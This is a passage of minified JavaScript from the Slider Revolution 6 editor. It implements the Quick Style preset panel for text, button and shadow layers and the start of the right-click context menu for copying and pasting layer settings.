i=e.closest(".quick_style_dep_all");RVS.LIB.QS[e[0].dataset.cont+"_color"]="dark"===t?"#000":"#fff",i.find(".quick_colorchange_"+("dark"===t?"light":"dark")).removeClass("selected"),tpGS.gsap.to(i.find(".quick_style_example_content"),.2,{color:RVS.LIB.QS[e[0].dataset.cont+"_color"]}),tpGS.gsap.to(i.find(".quick_style_example_wrap"),.2,{backgroundColor:"dark"===t?"#fff":"#202224"}),i.removeClass("light").removeClass("dark").addClass(t),e.addClass("selected")}function i(){var e=-1;for(var t in window.qstyle_scroll_targets)window.qstyle_scroll_targets[t].obj.length>0&&window.qstyle_scroll_targets[t].enable&&(window.qstyle_scroll_targets[t].top=window.qstyle_scroll_targets[t].obj.offset().top-100,window.qstyle_scroll_targets[t].height=window.qstyle_scroll_targets[t].obj.height(),30>=window.qstyle_scroll_targets[t].top&&0<=window.qstyle_scroll_targets[t].top+window.qstyle_scroll_targets[t].height&&(e=t));e=-1===e?window.qstyle_scroll_targets.length-1:e,jQuery(".quick_style_menu_point").removeClass("active"),window.qstyle_scroll_targets[e].menu.addClass("active")}RVS.F.initQuickStyle=function(){RVS.DOC.on("click",".quick_colorchange_dark",function(){t(jQuery(this),"dark")}),RVS.DOC.on("click",".quick_colorchange_light",function(){t(jQuery(this),"light")}),RVS.DOC.on("quickstyletrigger",function(){RVS.F.openQuickStyle(!1)}),RVS.DOC.on("click","#quick_style_close",RVS.F.closeQuickStyle),RVS.DOC.on("showQuickStyle",RVS.F.showQuickStyle),RVS.DOC.on("click",".quick_style_example",function(){var t=this.dataset.qstyletype,i=jQuery.extend(!0,{},RVS.LIB.QS[t][this.dataset.qstyleindex]),a=this.dataset.layertype;if(RVS.F.updateScreenShrinks(),i=e(i),0===RVS.selLayers.length){if("textshadow"===a||"boxshadow"===a)return;var r=RVS.F.addLayer({type:a,forceSelect:!0});RVS.F.selectLayers({id:r,overwrite:!0,action:"add"})}for(var s in void 0===RVS.S.qstyleBackupGroup&&RVS.F.openBackupGroup({id:"quickstyle",txt:"Quick Style Change",icon:"invert_colors"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){var o=RVS.S.slideId+".layers."+RVS.selLayers[s]+".",n=!1;switch(a){case"text":case"button":if("text"===RVS.L[RVS.selLayers[s]].type&&"text"===a||"button"===RVS.L[RVS.selLayers[s]].type&&"button"===a){var l;if(n=!0,"text"!==a||"headlines"!==t&&"content"!==t||RVS.F.updateSliderObj({path:o+"idle.color.d.v",val:RVS.LIB.QS[t+"_color"]}),void 0!==i.fs&&RVS.F.updateSliderObj({path:o+"idle.fontSize.d.v",val:i.fs}),void 0!==i.w?RVS.F.updateSliderObj({path:o+"size.width.d.v",val:i.w}):RVS.F.updateSliderObj({path:o+"size.width.d.v",val:"auto"}),void 0!==i.h?RVS.F.updateSliderObj({path:o+"size.height.d.v",val:i.h}):RVS.F.updateSliderObj({path:o+"size.height.d.v",val:"auto"}),void 0!==i.h&&"auto"!==i.h?RVS.F.updateSliderObj({path:o+"size.minHeight.d.v",val:i.h}):RVS.F.updateSliderObj({path:o+"size.minHeight.d.v",val:"0px"}),void 0!==i.w?RVS.F.updateSliderObj({path:o+"size.minWidth.d.v",val:i.w}):RVS.F.updateSliderObj({path:o+"size.minWidth.d.v",val:"none"}),void 0!==i.lh&&RVS.F.updateSliderObj({path:o+"idle.lineHeight.d.v",val:i.lh}),void 0!==i.ls&&RVS.F.updateSliderObj({path:o+"idle.letterSpacing.d.v",val:i.ls}),void 0!==i.fw&&RVS.F.updateSliderObj({path:o+"idle.fontWeight.d.v",val:i.fw}),void 0!==i.fst&&RVS.F.updateSliderObj({path:o+"idle.fontStyle",val:"italic"===i.fst}),void 0!==i.ff&&RVS.F.updateSliderObj({path:o+"idle.fontFamily",val:i.ff}),void 0!==i.ta&&RVS.F.updateSliderObj({path:o+"idle.textAlign.d.v",val:i.ta}),void 0!==i.tt&&RVS.F.updateSliderObj({path:o+"idle.textTransform",val:i.tt}),void 0!==i.pd&&RVS.F.updateSliderObj({path:o+"idle.padding.d.v",val:i.pd}),void 0!==i.bg&&RVS.F.updateSliderObj({path:o+"idle.backgroundColor",val:i.bg}),void 0!==i.br&&RVS.F.updateSliderObj({path:o+"idle.borderRadius.v",val:i.br}),void 0!==i.bc&&RVS.F.updateSliderObj({path:o+"idle.borderColor",val:i.bc}),void 0!==i.bw&&RVS.F.updateSliderObj({path:o+"idle.borderWidth",val:i.bw}),void 0!==i.bs&&RVS.F.updateSliderObj({path:o+"idle.borderStyle.d.v",val:i.bs}),void 0!==i.bxc?(RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!0}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.hoffset.d.v",val:i.bxh}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.voffset.d.v",val:i.bxv}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.blur.d.v",val:i.bxb}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.spread.d.v",val:i.bxs}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.color",val:i.bxc})):RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!1}),void 0!==i.color&&RVS.F.updateSliderObj({path:o+"idle.color.d.v",val:i.color}),void 0!==i.cls?RVS.F.updateSliderObj({path:o+"runtime.internalClass",val:i.cls}):RVS.F.updateSliderObj({path:o+"runtime.internalClass",val:""}),void 0!==i.action&&void 0!==(l=void 0!==RVS.L[RVS.selLayers[s]]&&void 0!==RVS.L[RVS.selLayers[s]].actions&&void 0!==RVS.L[RVS.selLayers[s]].actions.action?RVS.L[RVS.selLayers[s]].actions.action:void 0)){var d=!1;for(var S in l)!0!==d&&(d="toggle_class"===l[S].action&&""+l[S].layer_target==""+RVS.selLayers[s]&&"open"===l[S].toggle_class);i.action.layer_target=""+RVS.selLayers[s],!1===d&&l.push(i.action)}null!=i.content&&"button"===a&&(RVS.F.updateSliderObj({path:o+"text",val:i.content}),RVS.H[RVS.selLayers[s]].c.html(i.content)),void 0!==i.hs?(RVS.F.updateSliderObj({path:o+"hover.usehover",val:!0}),RVS.F.updateSliderObj({path:o+"hover.speed",val:i.hs}),void 0!==i.hc&&RVS.F.updateSliderObj({path:o+"hover.color",val:i.hc}),void 0!==i.hbg?RVS.F.updateSliderObj({path:o+"hover.backgroundColor",val:i.hbg}):void 0!==i.bg&&RVS.F.updateSliderObj({path:o+"hover.backgroundColor",val:i.bg}),void 0!==i.br&&RVS.F.updateSliderObj({path:o+"hover.borderRadius.v",val:i.br}),void 0!==i.hbc?RVS.F.updateSliderObj({path:o+"hover.borderColor",val:i.hbc}):void 0!==i.bc&&RVS.F.updateSliderObj({path:o+"hover.borderColor",val:i.bc}),void 0!==i.ease&&RVS.F.updateSliderObj({path:o+"hover.ease",val:i.ease}),void 0!==i.hfb&&(RVS.F.updateSliderObj({path:o+"hover.filter.grayscale",val:i.hfg}),RVS.F.updateSliderObj({path:o+"hover.filter.brightness",val:i.hfb}),RVS.F.updateSliderObj({path:o+"hover.filter.blir",val:i.hfbl})),void 0!==i.bw&&RVS.F.updateSliderObj({path:o+"hover.borderWidth",val:i.bw}),void 0!==i.bs&&RVS.F.updateSliderObj({path:o+"hover.borderStyle",val:i.bs})):RVS.F.updateSliderObj({path:o+"hover.usehover",val:!1})}break;case"boxshadow":RVS.F.updateSliderObj({path:o+"idle.boxShadow.hoffset.d.v",val:i.box_hoff}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.voffset.d.v",val:i.box_voff}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.blur.d.v",val:i.box_blur}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.spread.d.v",val:i.box_spread}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.color",val:i.box_color}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!0});break;case"textshadow":RVS.F.updateSliderObj({path:o+"idle.textShadow.hoffset.d.v",val:i.text_hoff}),RVS.F.updateSliderObj({path:o+"idle.textShadow.voffset.d.v",val:i.text_voff}),RVS.F.updateSliderObj({path:o+"idle.textShadow.blur.d.v",val:i.text_blur}),RVS.F.updateSliderObj({path:o+"idle.textShadow.color",val:i.text_color}),RVS.F.updateSliderObj({path:o+"idle.textShadow.inuse",val:!0})}RVS.F.intelligentUpdateValuesOnLayer(RVS.selLayers[s]),n&&RVS.F.setToIntelligentUpdate(!0),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[s]+".behavior.intelligentInherit",val:!0}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[s]})}void 0===RVS.S.qstyleBackupGroup&&RVS.F.closeBackupGroup({id:"quickstyle"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("click",".quick_style_menu_point",function(){i();var e={val:jQuery("#quick_style_scrollable").scrollTop()},t=e.val+window.qstyle_scroll_targets[this.dataset.ostref].top;tpGS.gsap.to(e,.6,{val:t,onUpdate:function(){jQuery("#quick_style_scrollable").scrollTop(e.val)},ease:"power3.out"}),i()}),RVS.DOC.on("mouseenter",".quick_style_example_content",function(){if(void 0!==this.dataset.hoverspeed){var e=jQuery(this);if(void 0===e.data("hoveranim")){var t=tpGS.gsap.timeline(),i={color:this.dataset.hovercolor,backgroundColor:this.dataset.hoverbgcolor};void 0!==this.dataset.hoverbordercolor&&"undefined"!==this.dataset.hoverbordercolor&&(i.borderColor=this.dataset.hoverbordercolor),void 0!==this.dataset.filterbrightness&&"undefined"!==this.dataset.filterbrightness&&(i.filter="blur("+this.dataset.filterblur+"px) grayscale("+this.dataset.filtergrayscale+"%) brightness("+this.dataset.filterbrightness+")",i["-webkit-filter"]="blur("+this.dataset.filterblur+"px) grayscale("+this.dataset.filtergrayscale+"%) brightness("+this.dataset.filterbrightness+")",tpGS.gsap.set(this,{filter:"blur(0px) grayscale(0%) brightness(100%)","-webkit-filter":"blur(0px) grayscale(0%) brightness(100%)"})),void 0!==this.dataset.ease&&(i.ease=this.dataset.ease),t.add(tpGS.gsap.to(this,this.dataset.hoverspeed/1e3,i)),e.data("hoveranim",t)}e.data("hoveranim").play()}}),RVS.DOC.on("mouseleave",".quick_style_example_content",function(){void 0!==this.dataset.hoverspeed&&jQuery(this).data("hoveranim").reverse()})},RVS.F.openQuickStyle=function(t){jQuery("#quick_style_trigger").addClass("selected"),RVS.S.qstyleBackupGroup=null==t||void 0===t.bacupGroupOpen?void 0:t.bacupGroupOpen,RVS.S.qstyle_library_open=!0,RVS.S.qstyleParams=t,window.quickStyleExists?RVS.F.showQuickStyle():(!function(){RVS.F.showWaitAMinute({fadeIn:100,text:"Building Quick Style Library"});var t={},a=[],r='<div id="quick_style"><div id="quick_style_inner">';for(var s in r+='<div id="quick_style_menu">',RVS.LIB.QS)RVS.LIB.QS.hasOwnProperty(s)&&(r+='<div data-ref="#quick_style_dep_'+s+'" data-library="'+s+'" id="quick_style_menu_'+s+'" class="quick_style_menu_point">'+RVS_LANG["qs_"+s]+"</div>");for(var s in r+='<div id="quick_style_close"><i class="material-icons">close</i></div>',r+="</div>",r+='<div id="quick_style_scrollable_wrap"><div id="quick_style_scrollable">',RVS.LIB.QS)if(RVS.LIB.QS.hasOwnProperty(s)){for(var o in r+='<div id="quick_style_dep_'+s+'" class="quick_style_dep_all"><div class="quick_style_dep">'+RVS_LANG["qs_"+s]+("headlines"===s||"content"===s?'<div data-cont="'+s+'" class="quick_colorchange_dark"></div><div data-cont="'+s+'"  class="quick_colorchange_light selected"></div>':"")+"</div>",RVS.LIB.QS[s])if(RVS.LIB.QS[s].hasOwnProperty(o)){var n=jQuery.extend(!0,{},RVS.LIB.QS[s][o]);switch(n=e(n),s){case"headlines":case"content":var l=void 0!==n.bc&&void 0!==n.bw&&void 0!==n.bs?"border-style:"+n.bs+";border-width:"+n.bw[0]+" "+n.bw[1]+" "+n.bw[2]+" "+n.bw[3]+";border-color:"+n.bc+";":"";r+='<div class="quick_style_example_wrap"><div class="quick_style_example" data-layertype="text" data-qstyletype="'+s+'" data-qstyleindex="'+o+'"><div class="qsec_info">'+n.ff+","+n.fs+"px,"+n.fw+'</div><div class="quick_style_example_content" style="'+("headlines"===s?"white-space:nowrap;":"")+l+(void 0!==n.tt?"text-transform:"+n.tt+";":"")+"font-style:"+n.fst+"; font-family:"+n.ff+";font-size:"+n.fs+"px; font-weight:"+n.fw+";line-height:"+n.lh+"px;letter-spacing:"+n.ls+'px">'+(void 0!==n.content?n.content:RVS.LIB.QS_CONT[s])+"</div></div></div>";var d=n.ff.replace(/\ /g,"_");for(var S in t[d]=void 0===t[d]?{family:d,weights:[],italic:!1}:t[d],t[d].font=n.ff,t[d].italic=!0===t[d].italic||n.fst,RVS.V.sizes)RVS.V.sizes.hasOwnProperty(S)&&-1===t[d].weights.toString().indexOf(n.fw)&&t[d].weights.push(n.fw);break;case"buttons":var l=void 0!==n.bc&&void 0!==n.bw&&void 0!==n.bs?"border-style:"+n.bs+";border-width:"+n.bw[0]+" "+n.bw[1]+" "+n.bw[2]+" "+n.bw[3]+";border-color:"+n.bc+";":"",c=void 0!==n.hs?'data-ease="'+n.ease+'" data-filterbrightness="'+n.hfb+'" data-filtergrayscale="'+n.hfg+'" data-filterblur="'+n.hfbl+'" data-hoverbordercolor="'+n.hbc+'" data-hovercolor="'+n.hc+'" data-hoverspeed="'+n.hs+'" data-hoverbgcolor="'+n.hbg+'" ':"",p=void 0!==n.w?"width:"+n.w+";":"";p=void 0!==n.h?p+"height:"+n.h+";":p,r+='<div class="quick_style_example_wrap '+(void 0!==n.showsize?"qsew_"+n.showsize:"")+'"><div class="quick_style_example" data-layertype="button" data-qstyletype="'+s+'" data-qstyleindex="'+o+'"><div class="quick_style_example_content '+n.cls+'" '+c+' style="'+l+p+(void 0!==n.tt?"text-transform:"+n.tt+";":"")+(void 0!==n.ta?"text-align:"+n.ta+";":"")+(void 0!==n.bxc?"box-shadow:"+n.bxh+" "+n.bxv+" "+n.bxb+" "+n.bxs+" "+n.bxc+";":"")+"border-radius:"+n.br[0]+" "+n.br[1]+" "+n.br[2]+" "+n.br[3]+";padding:"+n.pd[0]+" "+n.pd[1]+" "+n.pd[2]+" "+n.pd[3]+";background:"+window.RSColor.get(n.bg)+";font-style:"+n.fst+"; font-family:"+n.ff+";font-size:"+n.fs+"px; color:"+n.color+";font-weight:"+n.fw+";line-height:"+n.lh+"px;letter-spacing:"+n.ls+'px">'+n.content+"</div></div></div>";var d=n.ff.replace(/\ /g,"_");for(var S in t[d]=void 0===t[d]?{family:d,weights:[],italic:!1}:t[d],t[d].font=n.ff,t[d].italic=!0===t[d].italic||n.fst,RVS.V.sizes)RVS.V.sizes.hasOwnProperty(S)&&-1===t[d].weights.toString().indexOf(n.fw)&&t[d].weights.push(n.fw);break;case"shadows":void 0!==n.box_hoff?r+='<div class="quick_style_example_wrap '+(void 0!==n.showsize?"qsew_"+n.showsize:"")+'"><div class="quick_style_example qse_boxshadow" data-layertype="boxshadow" data-qstyletype="'+s+'" data-qstyleindex="'+o+'" style="box-shadow:'+n.box_hoff+" "+n.box_voff+" "+n.box_blur+" "+n.box_spread+" "+n.box_color+'"></div></div>':r+='<div class="quick_style_example_wrap '+(void 0!==n.showsize?"qsew_"+n.showsize:"")+'"><div class="quick_style_example qse_textshadow" data-layertype="textshadow" data-qstyletype="'+s+'" data-qstyleindex="'+o+'" style="text-shadow:'+n.text_hoff+" "+n.text_voff+" "+n.text_blur+" "+n.text_color+'">Shadow</div></div>'}}r+="</div>"}for(var s in r+="</div></div>",r+="</div></div>",window.qstyle_container=jQuery(r),window.qstyle_scroll_targets=[],t)if(t.hasOwnProperty(s)){var R=RVS.F.loadSingleFont(t[s]);void 0!==R&&a.push(R)}RVS.F.showWaitAMinute({fadeOut:500,text:"Building Quick Style Library"}),RVS.F.do_google_font_load(a,void 0,"showQuickStyle"),RVS.C.theEditor.append(window.qstyle_container);var u=0;jQuery(".quick_style_menu_point").each(function(){void 0!==this.dataset.ref&&(window.qstyle_scroll_targets.push({enable:!0,library:this.dataset.library,obj:jQuery(this.dataset.ref),top:jQuery(this.dataset.ref).offset().top,height:jQuery(this.dataset.ref).height(),menu:jQuery(this),menu_js:this}),this.dataset.ostref=u,u++)}),jQuery("#quick_style_scrollable").RSScroll({wheelPropagation:!1}),jQuery("#quick_style_scrollable").on("scroll",i)}(),window.quickStyleExists=!0)},RVS.F.showQuickStyle=function(){RVS.F.updateAvailableLayerTypes(),tpGS.gsap.to("#quick_style",.4,{width:320,display:"block",ease:"power3.inOut"}),tpGS.gsap.to("#quick_style_inner",.4,{left:0,ease:"power3.inOut"}),setTimeout(i,400)},RVS.F.updateAvailableLayerTypes=function(){if(RVS.S.qstyle_library_open){window.quickstylefilter=[];var e=!1,t=!1,i=!1,a=!1;if(void 0!==RVS.S.qstyleParams.list&&Array.isArray(RVS.S.qstyleParams.list)){for(var r in RVS.S.qstyleParams.list)if(RVS.S.qstyleParams.list.hasOwnProperty(r))switch(RVS.S.qstyleParams.list[r]){case"button":e||(window.quickstylefilter.push("buttons"),a=!1===a?"buttons":a,e=!0);break;case"content":i||(window.quickstylefilter.push("content"),a=!1===a?"content":a,i=!0);break;case"headlines":case"text":t||(window.quickstylefilter.push("headlines"),a=!1===a?"headlines":a,t=!0)}}else for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r))switch(RVS.L[RVS.selLayers[r]].type){case"button":e||(window.quickstylefilter.push("buttons"),e=!0);break;case"text":t||(window.quickstylefilter.push("headlines"),window.quickstylefilter.push("content"),t=!0,i=!0,a="headlines")}for(var s in 0===window.quickstylefilter.length&&(window.quickstylefilter.push("headlines"),window.quickstylefilter.push("content"),window.quickstylefilter.push("buttons")),-1===jQuery.inArray("shadows",window.quickstylefilter)&&window.quickstylefilter.push("shadows"),jQuery(".quick_style_dep_all").hide(),jQuery(".quick_style_menu_point").hide(),window.qstyle_scroll_targets)window.qstyle_scroll_targets.hasOwnProperty(s)&&(jQuery.inArray(window.qstyle_scroll_targets[s].library,window.quickstylefilter)>=0?window.qstyle_scroll_targets[s].enable=!0:window.qstyle_scroll_targets[s].enable=!1);for(var s in window.quickstylefilter)window.quickstylefilter.hasOwnProperty(s)&&(jQuery("#quick_style_dep_"+window.quickstylefilter[s]).show(),jQuery("#quick_style_menu_"+window.quickstylefilter[s]).show());!1!==a&&setTimeout(function(){jQuery("#quick_style_menu_"+a).trigger("click")},400)}},RVS.F.closeQuickStyle=function(){void 0!==RVS.S.qstyleBackupGroup&&RVS.F.closeBackupGroup({id:RVS.S.qstyleBackupGroup}),RVS.S.qstyleBackupGroup=void 0,RVS.S.qstyle_library_open=!1,tpGS.gsap.to("#quick_style",.4,{width:0,display:"none",ease:"power3.inOut"}),tpGS.gsap.to("#quick_style_inner",.4,{left:-270,ease:"power3.inOut"}),jQuery("#quick_style_trigger").removeClass("selected")}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR RIGHTCLICK JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
jQuery(function(){var e,t,i,a,r,s,o,n,l,d,S,c,p,R,u,V,y,m,f,h=50,g=50,v=10;RVS.DOC=void 0===RVS.DOC?jQuery(document):RVS.DOC;var _={editlayer:function(){var e;switch(this.dataset.type){case"content":e=["#gst_layer_1"];break;case"image":e=["#gst_layer_1","#image_layer_media_library_button"];break;case"style":e=["#gst_layer_3"];break;case"advstyle":e=["#gst_layer_6"];break;case"size":e=["#gst_layer_2"];break;case"hover":e=["#gst_layer_9"];break;case"scroll":e=["#gst_layer_8"];break;case"responsive":e=["#gst_layer_13"];break;case"animation":e=["#gst_layer_4"];break;case"actions":e=["#gst_layer_5"]}a=!0,e.unshift("#module_layers_trigger");for(var t=e.length,i=0;i<t;i++)try{jQuery(e[i]).trigger("click")}catch(e){}a=!0},editbg:function(){var e;switch(this.dataset.type){case"content":e=["#gst_slide_1"];break;case"image":e=["#gst_slide_1","#slide_bg_image_btn"];break;case"objectlibrary":e=["#gst_slide_1","#slide_object_library_btn"]}a=!0,e.unshift("#module_slide_trigger");for(var t=e.length,i=0;i<t;i++)try{jQuery(e[i]).trigger("click")}catch(e){}a=!1},duplicatelayer:function(){RVS.DOC.trigger("do_duplicate_layer")},deletelayer:function(){RVS.DOC.trigger("do_delete_layer")},hidelayer:function(){RVS.F.showHideLayers()},locklayer:function(){RVS.F.lockUnlockLayers()},copylayer:function(){if(p=!1,c=!1,r=!0,s="Paste Layer(s)",RVS.selLayers&&1===RVS.selLayers.length){var t=RVS.L[e.dataset.uid].type;if(t&&-1===t.search(/column|row|zone/)){var i=RVS.H[e.dataset.uid],a=i.w_height,o=i.w_width;o="auto"===o?i.w.outerWidth(!0):-1!==o.search("%")?i.w.closest(".layer_grid").width()*(.01*parseInt(o,10)):parseInt(o,10),a="auto"===a?i.w.outerHeight(!0):-1!==a.search("%")?i.w.closest(".layer_grid").height()*(.01*parseInt(a,10)):parseInt(a,10);var n=RVS.S.shrink[RVS.screen];c={w:.5*(o*=n),h:.5*(a*=n),keys:Object.keys(RVS.H)}}}u=RVS.S.slideId,RVS.DOC.trigger("do_copy_layer")},copylayersettings:function(){p=!1;var t=this.dataset.type,i=this.dataset.title,a=RVS.L[e.dataset.uid];a?(r=-1===t.search("idle")?[t,jQuery.extend(!0,{},a[t]),i,RVS.selLayers[0]]:[t,w(a.idle,t),i],s="Paste "+i):console.log("Wrong object path when copying layer style/settings")},copybg:function(){r=!1;var e,t=RVS.SLIDER[RVS.S.slideId].slide,i=this.dataset.title,a=this.dataset.type;switch(a){case"background":delete(e=jQuery.extend(!0,{},t.bg)).mediaFilter,p=[a,e,i];break;case"animation":p=[a,L(t.timeline),i];break;case"filter":p=[a,t.bg.mediaFilter,i];break;case"onscroll":p=[a,jQuery.extend(!0,{},t.effects),i];break;case"panzoom":e=jQuery.extend(!0,{},t.panzoom),t=t.bg,e.bg={position:t.position,positionX:t.positionX,positionY:t.positionY},p=[a,e,i]}s="Paste "+i},paste:function(t){r?function(t){if(!r||!1===r)return void console.log("pasting from layer copy failed");var i;if(!0===r){if(RVS.DOC.trigger("do_paste_layer"),!c||u!==RVS.S.slideId)return;for(var a=Object.keys(RVS.H),s=a.length,o=0;o<s;o++)if(-1===c.keys.indexOf(a[o])){i=a[o];break}return void(i&&function(e,t){var i=RVS.L[t].position,a=i.horizontal[RVS.screen].v,r=i.vertical[RVS.screen].v,s=RVS.H[t].w.closest(".layer_grid"),o=s.offset(),n=Math.round(e.pageX-o.left-c.w),l=Math.round(e.pageY-o.top-c.h),d=n,S=l;switch(a){case"right":d=s.width()-n;break;case"center":d=Math.round(.5*s.width()-c.w)}switch(r){case"bottom":S=s.height()-l;break;case"center":S=Math.round(.5*s.height()-c.h)}var p,R,u,V,y,m=jQuery.extend(!0,{},i.horizontal),f=jQuery.extend(!0,{},i.vertical),h=4,g=RVS.V.sizes.slice().reverse();for(;RVS.screen!==g[0];)g.shift();for(y=0;y<4;y++)m[RVS.V.sizes[y]].e=!1;for(h=g.length,R=h-1,d+="px",S+="px",y=0;y<h;y++)V=g[y],u=y===R,((p=RVS.screen===V||u)||i.x[V].e)&&(i.x[V]={v:d,e:!0,u:"px"}),(p||i.y[V].e)&&(i.y[V]={v:S,e:!0,u:"px"}),pH=jQuery.extend(!0,{},m),pV=jQuery.extend(!0,{},f),p&&(pH[V].e=!0,pV[V].e=!0),i.horizontal[V]=jQuery.extend(!0,{},pH[V]),i.vertical[V]=jQuery.extend(!0,{},pV[V]);g=RVS.V.sizes.slice();for(;RVS.screen!==g[0];)g.shift();g.length&&g.shift();for(h=g.length,y=0;y<h;y++)V=g[y],i.x[V].e=!1,i.y[V].e=!1,i.horizontal[V]=jQuery.extend(!0,{},m[V]),i.vertical[V]=jQuery.extend(!0,{},f[V]);for(var v in RVS.L)RVS.L.hasOwnProperty(v)&&"zone"!==RVS.L[v].type&&RVS.F.drawHTMLLayer({uid:v});RVS.S.clickedLayer=t}(t,i))}var n=r[0],l=r[1],d=r[3];if(RVS.F.openBackupGroup({id:"pasteLayerSettings",txt:"Paste Layer "+r[2],icon:"file_download"}),-1===n.search("idle"))"timeline"===n&&(RVS.TL[RVS.S.slideId].layers[RVS.selLayers[0]]=jQuery.extend(!0,{},RVS.TL[RVS.S.slideId].layers[d])),RVS.F.updateLayerObj({path:n,val:l}),"timeline"===n&&(RVS.F.reDrawListElements(),jQuery(e).trigger("click"));else for(var S in l)l.hasOwnProperty(S)&&RVS.F.updateLayerObj({path:"idle."+S,val:l[S]});RVS.F.updateLayerInputFields(),RVS.F.closeBackupGroup({id:"pasteLayerSettings"}),RVS.S.clickedLayer=null}(t):function(){if(!p||!1===p)return void console.log("pasting from bg copy failed");var e,t=p[0],i=p[1],a=RVS.SLIDER[RVS.S.slideId].slide;switch(RVS.F.openBackupGroup({id:"pasteBgSettings",txt:"Paste BG "+p[2],icon:"file_download"}),t){case"background":jQuery.extend(!0,a.bg,i),e="#form_slidebg_source";break;case"animation":jQuery.extend(!0,a.timeline,i),e="#form_slide_transition";break;case"filter":a.bg.mediaFilter=i,e="#form_slidebg_filters";break;case"onscroll":jQuery.extend(!0,a.effects,i),e="#form_slide_onscroll";break;case"panzoom":jQuery.extend(!0,a.panzoom,i),e="#form_slidebg_kenburn"}RVS.F.updateEasyInputs({container:e,path:RVS.S.slideId+".slide.",trigger:"init"}),"panzoom"===t?function(e,t){e.position=t.position,e.positionX=t.positionX,e.positionY=t.positionY,RVS.F.updateEasyInputs({container:jQuery("#slide_bg_settings_wrapper"),path:RVS.S.slideId+".slide.",trigger:"init"}),jQuery("#sl_pz_set").change()}(a.bg,i.bg):"animation"===t&&RVS.F.updateSlideAnimation();RVS.F.closeBackupGroup({id:"pasteBgSettings"}),RVS.DOC.trigger("updateslidebasic")}()},disable:function(){m.remove(),S.remove(),f.off(".rcmenu"),jQuery(document.body).off(".rcmenu"),jQuery("#main_hor_toolbar, #the_right_toolbar, #timeline_settings").off(".rcmenu"),o=V=t=i=n=y=e=r=p=R=m=S=f=void 0}};function L(e){for(var t,i=["transition","duration","easeIn","easeOut","slots","rotation"],a=i.length,r={},s=0;s<a;s++)r[t=i[s]]=jQuery.extend(!0,{},e[t]);return r}function w(e,t){for(var i,a,r=(i="idle"===t?["fontSize","lineHeight","fontWeight","letterSpacing","fontStyle","textDecoration","textTransform","selectable","fontFamily","color","backgroundColor","backgroundImage","backgroundImageId","backgroundPosition","backgroundSize","backgroundRepeat","margin","padding","borderColor","borderStyle","borderWidth","borderRadius"]:["rotationX","rotationY","rotationZ","opacity","boxShadow","textShadow","filter","spikeUse","spikeLeft","spikeLeftWidth","spikeRight","spikeRightWidth","cornerLeft","cornerRight"]).length,s={},o=0;o<r;o++)(a=e[i[o]])&&(Array.isArray(a)?a=JSON.parse(JSON.stringify(a)):"object"==typeof a&&(a=jQuery.extend(!0,{},a)),s[i[o]]=a);return s}function b(e){var t=this.dataset.rcevent;return t&&_[t]&&_[this.dataset.rcevent].call(this,e),!1}function F(){d&&(d=!1,S.hide(),m.hide())}function I(e,t){return(t.match(/(^|\s)rc-\align-\S+/g)||[]).join(" ")}function D(e){d&&!a&&("rc_layer_menu"===e.target.id||jQuery(e.target).closest("#rc_layer_menu").length||F())}function x(e,t){C.call(t)}function C(){var e,a,c,u,_,L,w;l||function(){S=jQuery('<div class="tool_dd_wrap rc-menu-wrap" id="rc_layer_menu"><div class="toolbar_dd_subdrop_wrap"><div class="rc-menu-item rc-menu-single"><i class="material-icons">edit</i>Edit</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item rc-menu-layer-edit" data-type="content" data-rcevent="editlayer"><i class="material-icons">edit</i>Content</div><div class="rc-menu-item rc-menu-layer-edit" data-type="image" data-rcevent="editlayer"><i class="material-icons">edit</i>Image</div><div class="rc-menu-item" data-type="style" data-rcevent="editlayer"><i class="material-icons">color_lens</i>Base Style</div><div class="rc-menu-item" data-type="advstyle" data-rcevent="editlayer"><i class="material-icons">invert_colors</i>Adv. Style</div><div class="rc-menu-item" data-type="hover" data-rcevent="editlayer"><i class="material-icons">mouse</i>Hover Style</div><div class="rc-menu-item" data-type="sizepos" data-rcevent="editlayer"><i class="material-icons">open_with</i>Size & Position</div><div class="rc-menu-item" data-type="responsive" data-rcevent="editlayer"><i class="material-icons">photo_size_select_large</i>Responsivity</div><div class="rc-menu-item" data-type="animation" data-rcevent="editlayer"><i class="material-icons">play_arrow</i>Animation</div><div class="rc-menu-item" data-type="scroll" data-rcevent="editlayer"><i class="material-icons">system_update_alt</i>On Scroll</div><div class="rc-menu-item" data-type="actions" data-rcevent="editlayer"><i class="material-icons">touch_app</i>Actions</div></div></div><div class="toolbar_dd_subdrop_wrap"><div class="rc-menu-item" data-type="layer" data-rcevent="copylayer"><i class="material-icons" data-title="Layer(s)">content_paste</i>Copy</div><div class="toolbar_dd_subdrop"><div class="rc-menu-item" data-type="layer" data-rcevent="copylayer"><i class="material-icons" data-title="Layers(s)">layers</i>Selected Layers</div><div class="rc-menu-item rc-menu-single" data-type="idle" data-rcevent="copylayersettings" data-title="Base Style"><i class="material-icons">color_lens</i>Base Style</div><div class="rc-menu-item rc-menu-single" data-type="idleadv" data-rcevent="copylayersettings" data-title="Adv. Style"><i class="material-icons">invert_colors</i>Adv. Style</div><div class="rc-menu-item rc-menu-single" data-type="hover" data-rcevent="copylayersettings" data-title="Hover Style"><i class="material-icons">mouse</i>Hover Style</div><div class="rc-menu-item rc-menu-single" data-type="size" data-rcevent="copylayersettings" data-title="Size"><i class="material-icons">aspect_ratio</i>Size</div><div class="rc-menu-item rc-menu-single" data-type="position" data-rcevent="copylayersettings" data-title="Position"><i class="material-icons">open_with</i>Position</div><div class="rc-menu-item rc-menu-single" 